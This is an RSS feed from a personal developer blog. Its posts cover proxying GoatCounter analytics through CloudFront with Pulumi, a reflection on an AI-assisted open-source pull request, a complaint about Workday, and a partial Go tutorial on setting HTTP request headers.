<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Nelson Figueroa</title>
    <link>https://nelson.cloud/</link>
    <description>Recent content on Nelson Figueroa</description>
    <image>
      <title>Nelson Figueroa</title>
      <url>https://nelson.cloud/opengraph-images/default.png</url>
      <link>https://nelson.cloud/opengraph-images/default.png</link>
    </image>
    <language>en</language>
    <lastBuildDate>Thu, 09 Apr 2026 20:18:58 -0700</lastBuildDate>
    <atom:link href="https://nelson.cloud/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Proxying GoatCounter Requests for a Hugo Blog on CloudFront to bypass Ad Blockers</title>
      <link>https://nelson.cloud/proxying-goatcounter-requests-for-a-hugo-blog-on-cloudfront-to-bypass-ad-blockers/?ref=rss</link>
      <pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/proxying-goatcounter-requests-for-a-hugo-blog-on-cloudfront-to-bypass-ad-blockers/?ref=rss</guid>
      <description>Using CloudFront to proxy requests to GoatCounter so that adblockers don&amp;rsquo;t block page views.</description><content:encoded><![CDATA[<h2 id="intro">Intro</h2>
<p>I&rsquo;ve been running 

<a href="https://www.goatcounter.com/" target="_blank" rel="noopener">GoatCounter</a> on my site using 

<a href="https://gc.zgo.at/count.js" target="_blank" rel="noopener">the script</a>. The problem is that adblockers like uBlock Origin block it (understandably).</p>
<img src="/proxying-goatcounter-requests/before.webp" alt="uBlock Origin showing a blocked domain" width="720" height="546" style="max-width: 100%; height: auto; aspect-ratio: 1292 / 980;" loading="lazy" decoding="async">
<p>To get around this, I set up proxying so that the GoatCounter requests go to an endpoint under my domain <code>nelson.cloud/gc/count</code>, and then from there CloudFront handles it and sends it to GoatCounter. Most ad blockers work based on domain and GoatCounter is on the blocklists. Since the browser is now sending requests to the same domain as my site, it shouldn&rsquo;t trigger any ad blockers. This post explains how I did it in case it&rsquo;s useful for anyone else.</p>
<p>It&rsquo;s possible to 

<a href="https://github.com/arp242/goatcounter" target="_blank" rel="noopener">self-host</a> GoatCounter, but my approach was easier to do and less infrastructure to maintain. Perhaps in the future.</p>
<h2 id="on-analytics-and-privacy">On Analytics and Privacy</h2>
<p>I know there are concerns around analytics being privacy-invasive. GoatCounter is privacy-respecting. I care about privacy. I am of the belief that GoatCounter is harmless. I just like to keep track of the visitors on my site.</p>
<p>Read the GoatCounter developer&rsquo;s take if you want another opinion: 

<a href="https://www.arp242.net/personal-analytics.html" target="_blank" rel="noopener">Analytics on personal websites</a>.</p>
<h2 id="managing-infrastructure-with-pulumi">Managing Infrastructure with Pulumi</h2>
<p>Clicking through the AWS console to configure CloudFront distributions is a pain in the ass. I took the time to finally get the infrastructure for my blog managed as infrastructure-as-code with 

<a href="https://www.pulumi.com/docs/iac/languages-sdks/python/" target="_blank" rel="noopener">Pulumi and Python</a>. So while you can click around the console and do all of this, I will be showing how to configure everything with Pulumi.</p>
<p>If you don&rsquo;t want to use IaC, you can still find all of these options/settings in AWS itself.</p>
<h2 id="setting-it-up">Setting it up</h2>
<p>To set up GoatCounter proxying via CloudFront, we&rsquo;ll need to</p>
<ul>
<li>Create a new 

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cloudfront-functions.html" target="_blank" rel="noopener">CloudFront function</a> resource</li>
<li>Add a second 

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistS3AndCustomOrigins.html" target="_blank" rel="noopener">origin</a> to the distribution</li>
<li>Add an ordered 

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistValuesCacheBehavior.html" target="_blank" rel="noopener">cache behavior</a> to the distribution (which references the CloudFront function using its ARN)</li>
<li>Update the GoatCounter script to point to this new endpoint</li>
</ul>
<h3 id="cloudfront-function">CloudFront Function</h3>
<p>CloudFront functions are JavaScript scripts that run before a request reaches a CloudFront distribution&rsquo;s origin. In this case, the function strips the <code>/gc</code> from <code>nelson.cloud/gc/count</code>.</p>
<p>We need to strip <code>/gc</code> for two reasons:</p>
<ol>
<li>I chose to proxy requests that hit the <code>/gc/count</code> endpoint on my site to make sure there&rsquo;s no collision with post titles/slugs. I&rsquo;ll never use the <code>/gc/*</code> path for posts.</li>
<li>GoatCounter accepts requests under <code>/count</code>, not <code>/gc/count</code></li>
</ol>
<p>Here is the code for the function:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">handler</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">request</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">request</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">request</span><span class="p">.</span><span class="nx">uri</span> <span class="o">=</span> <span class="nx">request</span><span class="p">.</span><span class="nx">uri</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/^\/gc/</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">request</span><span class="p">.</span><span class="nx">uri</span> <span class="o">===</span> <span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="nx">request</span><span class="p">.</span><span class="nx">uri</span> <span class="o">=</span> <span class="s1">&#39;/&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">request</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And here is the CloudFront function resource defined in Pulumi (using Python) that includes the JavaScript from above. This is a new resource defined in the same Python file where my existing distribution already exists:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">goatcounter_rewrite</span> <span class="o">=</span> <span class="n">aws</span><span class="o">.</span><span class="n">cloudfront</span><span class="o">.</span><span class="n">Function</span><span class="p">(</span><span class="s2">&#34;goatcounter-rewrite&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">name</span><span class="o">=</span><span class="s2">&#34;goatcounter-rewrite&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">runtime</span><span class="o">=</span><span class="s2">&#34;cloudfront-js-2.0&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">code</span><span class="o">=</span><span class="s2">&#34;&#34;&#34;</span><span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="s2">function handler(event) {
</span></span></span><span class="line"><span class="cl"><span class="s2">    var request = event.request;
</span></span></span><span class="line"><span class="cl"><span class="s2">    request.uri = request.uri.replace(/^</span><span class="se">\\</span><span class="s2">/gc/, &#39;&#39;);
</span></span></span><span class="line"><span class="cl"><span class="s2">    if (request.uri === &#39;&#39;) request.uri = &#39;/&#39;;
</span></span></span><span class="line"><span class="cl"><span class="s2">    return request;
</span></span></span><span class="line"><span class="cl"><span class="s2">}
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="cloudfront-distribution-origin-and-cache-behavior">CloudFront Distribution Origin and Cache Behavior</h3>
<p>Here is my existing CloudFront distribution being updated with a new origin and cache behavior in Pulumi code.</p>
<blockquote><p><strong>Note:</strong></p><p>At the time of writing CloudFront only allows <code>allowed_methods</code> to be a list of HTTP methods in specific combinations. The value must be one of these:</p>
<ul>
<li><code>[HEAD, GET]</code></li>
<li><code>[HEAD, GET, OPTIONS]</code></li>
<li><code>[HEAD, DELETE, POST, GET, OPTIONS, PUT, PATCH]</code></li>
</ul>
<p>Since the GoatCounter JavaScript sends a <code>POST</code> request, and the third option is the only one that includes <code>POST</code>, we&rsquo;re forced to use all HTTP verbs. It should be harmless though.</p>
</blockquote>

<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">nelson_cloud_distribution</span> <span class="o">=</span> <span class="n">aws</span><span class="o">.</span><span class="n">cloudfront</span><span class="o">.</span><span class="n">Distribution</span><span class="p">(</span><span class="s2">&#34;nelson-cloud&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">aliases</span><span class="o">=</span><span class="p">[</span><span class="s2">&#34;nelson.cloud&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="c1">###</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># other configuration</span>
</span></span><span class="line"><span class="cl">    <span class="c1">###</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># route /gc/* requests to GoatCounter, stripping the /gc prefix via CloudFront function</span>
</span></span><span class="line"><span class="cl">    <span class="n">ordered_cache_behaviors</span><span class="o">=</span><span class="p">[{</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;path_pattern&#34;</span><span class="p">:</span> <span class="s2">&#34;/gc/*&#34;</span><span class="p">,</span> <span class="c1"># the path gets matched here</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;allowed_methods&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;GET&#34;</span><span class="p">,</span> <span class="s2">&#34;HEAD&#34;</span><span class="p">,</span> <span class="s2">&#34;OPTIONS&#34;</span><span class="p">,</span> <span class="s2">&#34;PUT&#34;</span><span class="p">,</span> <span class="s2">&#34;PATCH&#34;</span><span class="p">,</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span> <span class="s2">&#34;DELETE&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cached_methods&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;GET&#34;</span><span class="p">,</span> <span class="s2">&#34;HEAD&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;target_origin_id&#34;</span><span class="p">:</span> <span class="s2">&#34;goatcounter&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;viewer_protocol_policy&#34;</span><span class="p">:</span> <span class="s2">&#34;redirect-to-https&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;compress&#34;</span><span class="p">:</span> <span class="kc">False</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;cache_policy_id&#34;</span><span class="p">:</span> <span class="s2">&#34;4135ea2d-6df8-44a3-9df3-4b5a84be39ad&#34;</span><span class="p">,</span>  <span class="c1"># CachingDisabled</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;origin_request_policy_id&#34;</span><span class="p">:</span> <span class="s2">&#34;b689b0a8-53d0-40ab-baf2-68738e2966ac&#34;</span><span class="p">,</span>  <span class="c1"># AllViewerExceptHostHeader</span>
</span></span><span class="line"><span class="cl">        <span class="s2">&#34;function_associations&#34;</span><span class="p">:</span> <span class="p">[{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;event_type&#34;</span><span class="p">:</span> <span class="s2">&#34;viewer-request&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;function_arn&#34;</span><span class="p">:</span> <span class="n">goatcounter_rewrite</span><span class="o">.</span><span class="n">arn</span><span class="p">,</span> <span class="c1"># CloudFront function from above</span>
</span></span><span class="line"><span class="cl">        <span class="p">}],</span>
</span></span><span class="line"><span class="cl">    <span class="p">}],</span>
</span></span><span class="line"><span class="cl">    <span class="n">origins</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="c1">###</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># other existing origins</span>
</span></span><span class="line"><span class="cl">        <span class="c1">###</span>
</span></span><span class="line"><span class="cl">        <span class="c1"># a new origin to proxy GoatCounter requests</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;custom_origin_config&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;http_port&#34;</span><span class="p">:</span> <span class="mi">80</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;https_port&#34;</span><span class="p">:</span> <span class="mi">443</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;origin_protocol_policy&#34;</span><span class="p">:</span> <span class="s2">&#34;https-only&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s2">&#34;origin_ssl_protocols&#34;</span><span class="p">:</span> <span class="p">[</span><span class="s2">&#34;TLSv1.2&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="p">},</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;domain_name&#34;</span><span class="p">:</span> <span class="s2">&#34;nelsonfigueroa.goatcounter.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;origin_id&#34;</span><span class="p">:</span> <span class="s2">&#34;goatcounter&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="c1">###</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># rest of configuration</span>
</span></span><span class="line"><span class="cl">    <span class="c1">###</span>
</span></span><span class="line"><span class="cl">    <span class="n">opts</span> <span class="o">=</span> <span class="n">pulumi</span><span class="o">.</span><span class="n">ResourceOptions</span><span class="p">(</span><span class="n">protect</span><span class="o">=</span><span class="kc">True</span><span class="p">))</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Now that my Pulumi code has both the CloudFront function defined and the CloudFront distribution has been updated, I ran <code>pulumi up</code> to apply changes.</p>
<h3 id="update-the-goatcounter-script">Update the GoatCounter Script</h3>
<p>Finally, I updated goatcounter.js to use the new endpoint. So instead of <code>goatcounter.com</code> I changed it to my own domain <code>nelson.cloud/gc/count</code> at the very top of the snippet:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="nx">script</span> <span class="nx">data</span><span class="o">-</span><span class="nx">goatcounter</span><span class="o">=</span><span class="s2">&#34;https://nelson.cloud/gc/count&#34;</span><span class="o">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="cm">/* rest of script */</span>
</span></span><span class="line"><span class="cl"><span class="o">&lt;</span><span class="err">/script&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>After this, I built my site with Hugo and deployed it on S3/CloudFront by updating the freshly built HTML/CSS/JS in my S3 Bucket and then 

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html" target="_blank" rel="noopener">invalidating the existing CloudFront cache</a>.</p>
<h2 id="verifying-that-it-works">Verifying that it Works</h2>
<p>Now, GoatCounter should no longer be blocked by uBlock Origin. I tested by loading my site on an incognito browser window and checked that uBlock Origin was no longer blocking anything on my domain.</p>
<img src="/proxying-goatcounter-requests/after.webp" alt="uBlock Origin no longer showing a blocked domain" width="720" height="540" style="max-width: 100%; height: auto; aspect-ratio: 1290 / 968;" loading="lazy" decoding="async">
<p>Everything looks good!</p>
<h2 id="support-goatcounter">Support GoatCounter</h2>
<p>If you&rsquo;re using GoatCounter you should consider 

<a href="https://github.com/sponsors/arp242/" target="_blank" rel="noopener">sponsoring the developer</a>. It&rsquo;s a great project.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cloudfront-functions.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/cloudfront-functions.html</a></li>
<li>

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistS3AndCustomOrigins.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistS3AndCustomOrigins.html</a></li>
<li>

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistValuesCacheBehavior.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/DownloadDistValuesCacheBehavior.html</a></li>
<li>

<a href="https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html" target="_blank" rel="noopener">https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/Invalidation.html</a></li>
<li>

<a href="https://www.goatcounter.com/help/js" target="_blank" rel="noopener">https://www.goatcounter.com/help/js</a></li>
<li>

<a href="https://www.goatcounter.com/help/backend" target="_blank" rel="noopener">https://www.goatcounter.com/help/backend</a></li>
<li>

<a href="https://www.goatcounter.com/help/countjs-host" target="_blank" rel="noopener">https://www.goatcounter.com/help/countjs-host</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>I Created My First AI-assisted Pull Request and I Feel Like a Fraud</title>
      <link>https://nelson.cloud/i-created-my-first-ai-assisted-pull-request-and-i-feel-like-a-fraud/?ref=rss</link>
      <pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/i-created-my-first-ai-assisted-pull-request-and-i-feel-like-a-fraud/?ref=rss</guid>
      <description>I used AI to contribute to an open source project. The code was merged. I didn&amp;rsquo;t learn anything and I felt bad as an engineer.</description><content:encoded><![CDATA[<p>I created 

<a href="https://github.com/alecthomas/chroma/pull/1228" target="_blank" rel="noopener">my first AI pull request</a> for 

<a href="https://github.com/alecthomas/chroma" target="_blank" rel="noopener">Chroma</a>, which is the default syntax highlighter used in 

<a href="https://github.com/gohugoio/hugo" target="_blank" rel="noopener">Hugo</a>.</p>
<p>I used Claude Code for that PR. I didn&rsquo;t learn anything. I felt like I was flinging slop over the wall to an open-source maintainer. I felt like a fraud and my impostor syndrome got worse.</p>
<p>But here&rsquo;s the thing, I still contributed something of value. It’s something I have been wanting in Hugo for a long time to syntax highlight 

<a href="https://github.com/ruby/erb" target="_blank" rel="noopener">ERB</a> snippets in my posts. It was approved and merged by the maintainer (thanks for dealing with my slop, 

<a href="https://github.com/alecthomas" target="_blank" rel="noopener">Alec</a>).</p>
<p>It just feels odd. I know there are many people that are excited about this new era of writing code. But to me this has sucked out all of the fun. I have never felt like a bigger fraud in this field. I&rsquo;ve always thought that I&rsquo;m privileged that I get to have fun at all in my line of work. As Ori Bernstein says: 

<a href="https://orib.dev/nofun.html" target="_blank" rel="noopener">&ldquo;using LLMs to write code is as fun as hiring a taskrabbit to solve my jigsaw puzzles&rdquo;</a>.</p>
<p>But then again, I know that realistically I would not have the mental capacity or skill to create a pull request like that without AI tooling. My brain is already fried from work on most days. I don&rsquo;t think I would have been able to learn the codebase and get enough context to make that PR all by myself. It&rsquo;s a lot. I just wanted some ERB syntax highlighting for my little blog.</p>
<p>Even at work I&rsquo;ve used Claude Code and other AI tooling to deliver fixes and improvements that have real customer impact. But no matter how big the impact, I feel empty. I agree with Xe Iaso in the first sentence of their post: 

<a href="https://xeiaso.net/blog/2026/ai-abstraction/" target="_blank" rel="noopener">&ldquo;Whenever I have Claude do something for me, I feel nothing about the results&rdquo;</a>.</p>
<p>Now that using AI is a normal expectation at work and how I&rsquo;m evaluated in performance reviews, I suspect that this fraud feeling will only grow. The industry as a whole is incentivizing delivering code/features/fixes at a quick pace even if it&rsquo;s all just slop.</p>
<p>I keep thinking a lot about how I perhaps tied my identity too much to my career. I&rsquo;m not the greatest engineer, but I&rsquo;ve always worked hard to deliver good work and learn as much as possible. I care a lot about understanding underlying systems as much as possible. I care about the craftsmanship of my code (to the best of my abilities). Unlike me, AI tools don&rsquo;t care about any of these values.</p>
<p>At the end of the day, the shareholders care about delivering features, gaining customers, and making money. They don&rsquo;t care how software is built.</p>
<p>I don&rsquo;t know what to make of this.</p>
<hr>
<p>Discussion on 

<a href="https://news.ycombinator.com/item?id=47497679" target="_blank" rel="noopener">Hacker News</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>I Hate Workday</title>
      <link>https://nelson.cloud/i-hate-workday/?ref=rss</link>
      <pubDate>Wed, 18 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/i-hate-workday/?ref=rss</guid>
      <description>Workday makes it a huge pain in the ass to apply to companies.</description><content:encoded><![CDATA[<p>I hate using 

<a href="https://www.workday.com/" target="_blank" rel="noopener">Workday</a> to apply to companies. I can&rsquo;t speak to all the other things they offer, but the experience for job applicants sucks.</p>
<p>Why do I have to create a separate account for each company that uses Workday to handle applications? Why do you ask me to upload my resume and then still prompt me to manually enter data? Why is the application process so long compared to other tools like 

<a href="https://www.greenhouse.com/" target="_blank" rel="noopener">Greenhouse</a> and 

<a href="https://www.ashbyhq.com/" target="_blank" rel="noopener">Ashby</a>?</p>
<p>I swear I&rsquo;ve avoided applying to so many companies just because they forced me to create a Workday account to apply. I&rsquo;d rather stay unemployed and apply elsewhere.</p>
<p>Just look at how much people hate Workday. 

<a href="https://www.businessinsider.com/everyone-hates-workday-human-resources-customer-service-software-fortune-500-2024-5" target="_blank" rel="noopener">Business Insider published an article</a> about how much people dislike it. People on social media like Threads are 

<a href="https://www.threads.com/@imjustnycole/post/DBxYoW3PVO_" target="_blank" rel="noopener">also annoyed</a>. The best place to see people frustrated with Workday is Reddit. Search for 

<a href="https://www.google.com/search?q=workday&#43;sucks&#43;site%3Areddit.com" target="_blank" rel="noopener">&ldquo;workday sucks site:reddit.com&rdquo;</a> on Google and you&rsquo;ll see what I mean. Titles like 

<a href="https://www.reddit.com/r/recruitinghell/comments/1jywuzk/i_fucking_hate_workday/" target="_blank" rel="noopener">&ldquo;I fucking hate Workday.&rdquo;</a> tell you everything you need to know.</p>
<p>Fuck Workday.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Adding Headers to HTTP Requests in Go</title>
      <link>https://nelson.cloud/adding-headers-to-http-requests-in-go/?ref=rss</link>
      <pubDate>Fri, 30 Jan 2026 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/adding-headers-to-http-requests-in-go/?ref=rss</guid>
      <description>Build requests with http.NewRequest() to add headers, then send them with http.Client{}</description><content:encoded><![CDATA[<p>Go has several ways of sending requests, including some convenient methods such as:</p>
<ul>
<li><code>http.Get()</code></li>
<li><code>http.Head()</code></li>
<li><code>http.Post()</code></li>
<li><code>http.PostForm()</code></li>
</ul>
<p>However, these don&rsquo;t let you add headers to requests! If you need customization of the HTTP method or headers, you need to use <code>http.NewRequest()</code>.</p>
<p>There are three parts to this:</p>
<ol>
<li>Create a request using <code>http.NewRequest()</code> where you specify the HTTP method and URL</li>
<li>Add headers to the request with <code>Header.Set()</code></li>
<li>Send the request using <code>http.Client{}</code></li>
</ol>
<p>Here&rsquo;s a full example:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;log&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;net/http&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// create the client that will send the request later</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">client</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="o">&amp;</span><span class="nx">http</span><span class="p">.</span><span class="nx">Client</span><span class="p">{}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// create a request with NewRequest, specifying HTTP method and URL</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">http</span><span class="p">.</span><span class="nf">NewRequest</span><span class="p">(</span><span class="s">&#34;GET&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;https://example.com/&#34;</span><span class="p">,</span><span class="w"> </span><span class="kc">nil</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">log</span><span class="p">.</span><span class="nf">Fatal</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// add headers to the request</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">req</span><span class="p">.</span><span class="nx">Header</span><span class="p">.</span><span class="nf">Set</span><span class="p">(</span><span class="s">&#34;User-Agent&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:147.0) Gecko/20100101 Firefox/147.0&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">req</span><span class="p">.</span><span class="nx">Header</span><span class="p">.</span><span class="nf">Set</span><span class="p">(</span><span class="s">&#34;Accept-Language&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;en-US,en;q=0.9&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">req</span><span class="p">.</span><span class="nx">Header</span><span class="p">.</span><span class="nf">Set</span><span class="p">(</span><span class="s">&#34;Accept-Encoding&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;gzip, deflate&#34;</span><span class="p">)</span><span class="w">
